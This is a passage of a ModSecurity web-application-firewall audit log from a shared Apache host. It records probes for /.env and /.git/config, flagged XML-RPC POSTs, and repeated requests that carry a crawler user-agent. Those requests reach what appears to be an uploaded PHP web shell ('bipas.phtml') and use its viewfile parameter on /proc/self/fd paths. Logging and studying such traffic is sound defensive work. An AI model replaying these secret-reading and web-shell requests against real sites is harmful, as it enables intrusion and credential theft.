Content-Type: text/xml; charset=UTF-8 --47f9a559-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-I2FLvCKKZvNl9c__WCgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042840641427 995162 (- - -) Stopwatch2: 1750042840641427 995162; combined=2406, p1=388, p2=1408, p3=57, p4=76, p5=279, sr=100, sw=198, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47f9a559-Z-- --75cfa81f-A-- [16/Jun/2025:08:30:42.924022 +0530] aE-I2uOzMRjUd1ppiI2zZgAAAAQ 216.73.216.83 32788 127.0.0.1 7081 --75cfa81f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F178 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --75cfa81f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --75cfa81f-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/178"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/178"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-I2uOzMRjUd1ppiI2zZgAAAAQ"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042842919262 4827 (- - -) Stopwatch2: 1750042842919262 4827; combined=2509, p1=431, p2=1924, p3=46, p4=40, p5=68, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75cfa81f-Z-- --22de6656-A-- [16/Jun/2025:08:31:24.034294 +0530] aE-JBCSg0_FUeePR9Z0FpgAAAAE 216.73.216.83 42004 127.0.0.1 7081 --22de6656-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F130 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --22de6656-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --22de6656-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/130"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/130"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JBCSg0_FUeePR9Z0FpgAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042884029856 4493 (- - -) Stopwatch2: 1750042884029856 4493; combined=2360, p1=382, p2=1847, p3=38, p4=35, p5=58, sr=110, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22de6656-Z-- --83374915-A-- [16/Jun/2025:08:31:24.216473 +0530] aE-JBAS4XDlCv3KXioQRTAAAAAY 216.73.216.83 42052 127.0.0.1 7081 --83374915-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F10 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --83374915-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --83374915-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/10"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/10"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JBAS4XDlCv3KXioQRTAAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042884212312 4214 (- - -) Stopwatch2: 1750042884212312 4214; combined=2197, p1=386, p2=1658, p3=34, p4=41, p5=78, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --83374915-Z-- --de01411d-A-- [16/Jun/2025:08:31:24.490305 +0530] aE-JBCSg0_FUeePR9Z0FpwAAAAE 216.73.216.83 42092 127.0.0.1 7081 --de01411d-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F9 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --de01411d-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --de01411d-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/9"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/9"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JBCSg0_FUeePR9Z0FpwAAAAE"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042884486153 4206 (- - -) Stopwatch2: 1750042884486153 4206; combined=2262, p1=351, p2=1785, p3=38, p4=32, p5=56, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de01411d-Z-- --23a35f58-A-- [16/Jun/2025:08:31:26.126419 +0530] aE-JBkN_xpBAtP8SIP1C5QAAAAo 216.73.216.83 42302 127.0.0.1 7081 --23a35f58-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F99 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --23a35f58-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --23a35f58-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/99"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/99"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JBkN_xpBAtP8SIP1C5QAAAAo"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042886122220 4255 (- - -) Stopwatch2: 1750042886122220 4255; combined=2266, p1=342, p2=1790, p3=39, p4=34, p5=61, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --23a35f58-Z-- --9f081c16-A-- [16/Jun/2025:08:31:27.519814 +0530] aE-JBm6ZKHkY_8UM7_tCvAAAAAU 128.199.182.152 42332 127.0.0.1 7081 --9f081c16-B-- GET /.env HTTP/1.0 Host: www.sarvasya.com X-Real-IP: 128.199.182.152 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Go-http-client/1.1 Accept-Encoding: gzip --9f081c16-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.sarvasya.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --9f081c16-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarvasya.com"] [uri "/.env"] [unique_id "aE-JBm6ZKHkY_8UM7_tCvAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/sarvasya.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042886584127 935746 (- - -) Stopwatch2: 1750042886584127 935746; combined=1957, p1=462, p2=1401, p3=0, p4=0, p5=93, sr=154, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f081c16-Z-- --58b12008-A-- [16/Jun/2025:08:31:29.336678 +0530] aE-JCCSg0_FUeePR9Z0FrAAAAAE 128.199.182.152 42414 127.0.0.1 7081 --58b12008-B-- GET /.git/config HTTP/1.0 Host: www.sarvasya.com X-Real-IP: 128.199.182.152 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Go-http-client/1.1 Accept-Encoding: gzip --58b12008-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.sarvasya.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --58b12008-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.sarvasya.com"] [uri "/.git/config"] [unique_id "aE-JCCSg0_FUeePR9Z0FrAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/sarvasya.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042888418434 918304 (- - -) Stopwatch2: 1750042888418434 918304; combined=2075, p1=378, p2=1597, p3=0, p4=0, p5=99, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --58b12008-Z-- --4e872d55-A-- [16/Jun/2025:08:31:41.396491 +0530] aE-JFL-GHz_IIxWr6ZuGuAAAAAg 128.199.112.101 40526 127.0.0.1 7081 --4e872d55-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4e872d55-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4e872d55-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-JFL-GHz_IIxWr6ZuGuAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042900457810 938760 (- - -) Stopwatch2: 1750042900457810 938760; combined=2368, p1=389, p2=1524, p3=41, p4=61, p5=212, sr=103, sw=141, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e872d55-Z-- --30a7d85f-A-- [16/Jun/2025:08:32:01.323878 +0530] aE-JKQS4XDlCv3KXioQRYAAAAAY 216.73.216.83 44082 127.0.0.1 7081 --30a7d85f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F87 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --30a7d85f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --30a7d85f-H-- Message: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/87"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/8" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/8 found within ARGS:viewfile: /proc/self/fd/87"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JKQS4XDlCv3KXioQRYAAAAAY"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042921318664 5269 (- - -) Stopwatch2: 1750042921318664 5269; combined=2890, p1=463, p2=2254, p3=48, p4=44, p5=81, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30a7d85f-Z-- --6e44926a-A-- [16/Jun/2025:08:32:40.967700 +0530] aE-JUDMylmRimnwJkaBoDQAAAAk 216.73.216.83 51300 127.0.0.1 7081 --6e44926a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F150 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --6e44926a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2954 Connection: close Content-Type: text/html; charset=UTF-8 --6e44926a-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/150"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/150"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUDMylmRimnwJkaBoDQAAAAk"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042960963456 4307 (- - -) Stopwatch2: 1750042960963456 4307; combined=2253, p1=332, p2=1790, p3=38, p4=36, p5=57, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6e44926a-Z-- --22c27942-A-- [16/Jun/2025:08:32:41.267294 +0530] aE-JUPrb_uQIHEwgEhziWQAAAAA 128.199.112.101 51258 127.0.0.1 7081 --22c27942-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --22c27942-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --22c27942-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE-JUPrb_uQIHEwgEhziWQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750042960338488 928863 (- - -) Stopwatch2: 1750042960338488 928863; combined=2353, p1=379, p2=1495, p3=47, p4=75, p5=216, sr=102, sw=141, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22c27942-Z-- --b4ec762f-A-- [16/Jun/2025:08:32:41.300016 +0530] aE-JUVLvCKKZvNl9c__WSAAAAAc 216.73.216.83 51330 127.0.0.1 7081 --b4ec762f-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F90 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --b4ec762f-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --b4ec762f-H-- Message: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/90"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/9" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/9 found within ARGS:viewfile: /proc/self/fd/90"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUVLvCKKZvNl9c__WSAAAAAc"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042961295806 4275 (- - -) Stopwatch2: 1750042961295806 4275; combined=2212, p1=456, p2=1627, p3=35, p4=33, p5=60, sr=139, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b4ec762f-Z-- --b4e28d0a-A-- [16/Jun/2025:08:32:41.565776 +0530] aE-JUVLyTgTLRBnIBDZnqAAAAAM 216.73.216.83 51362 127.0.0.1 7081 --b4e28d0a-B-- GET /admin/images/products/6847417b2eb7c%20bipas.phtml?path=%2F%2Fproc%2Fself%2Ffd&viewfile=%2F%2Fproc%2Fself%2Ffd%2F100 HTTP/1.0 Host: www.sarainternational.ae X-Real-IP: 216.73.216.83 X-Accel-Internal: /internal-nginx-static-location Connection: close accept: */* user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com) accept-encoding: gzip, br, zstd, deflate --b4e28d0a-F-- HTTP/1.1 200 OK Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2953 Connection: close Content-Type: text/html; charset=UTF-8 --b4e28d0a-H-- Message: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/100"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "proc/self/fd/1" at ARGS:viewfile. [file "/etc/apache2/modsecurity.d/rules/comodo_free/08_Global_Other.conf"] [line "57"] [id "210580"] [rev "2"] [msg "COMODO WAF: OS File Access Attempt||www.sarainternational.ae|F|2"] [data "Matched Data: proc/self/fd/1 found within ARGS:viewfile: /proc/self/fd/100"] [severity "CRITICAL"] [tag "CWAF"] [tag "Other"] [hostname "www.sarainternational.ae"] [uri "/admin/images/products/6847417b2eb7c bipas.phtml"] [unique_id "aE-JUVLyTgTLRBnIBDZnqAAAAAM"] Apache-Handler: application/x-httpd-php Stopwatch: 1750042961561551 4279 (- - -) Stopwatch2: 1750042961561551 4279; combined=2209, p1=365, p2=1718, p3=36, p4=36, p5=54, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: 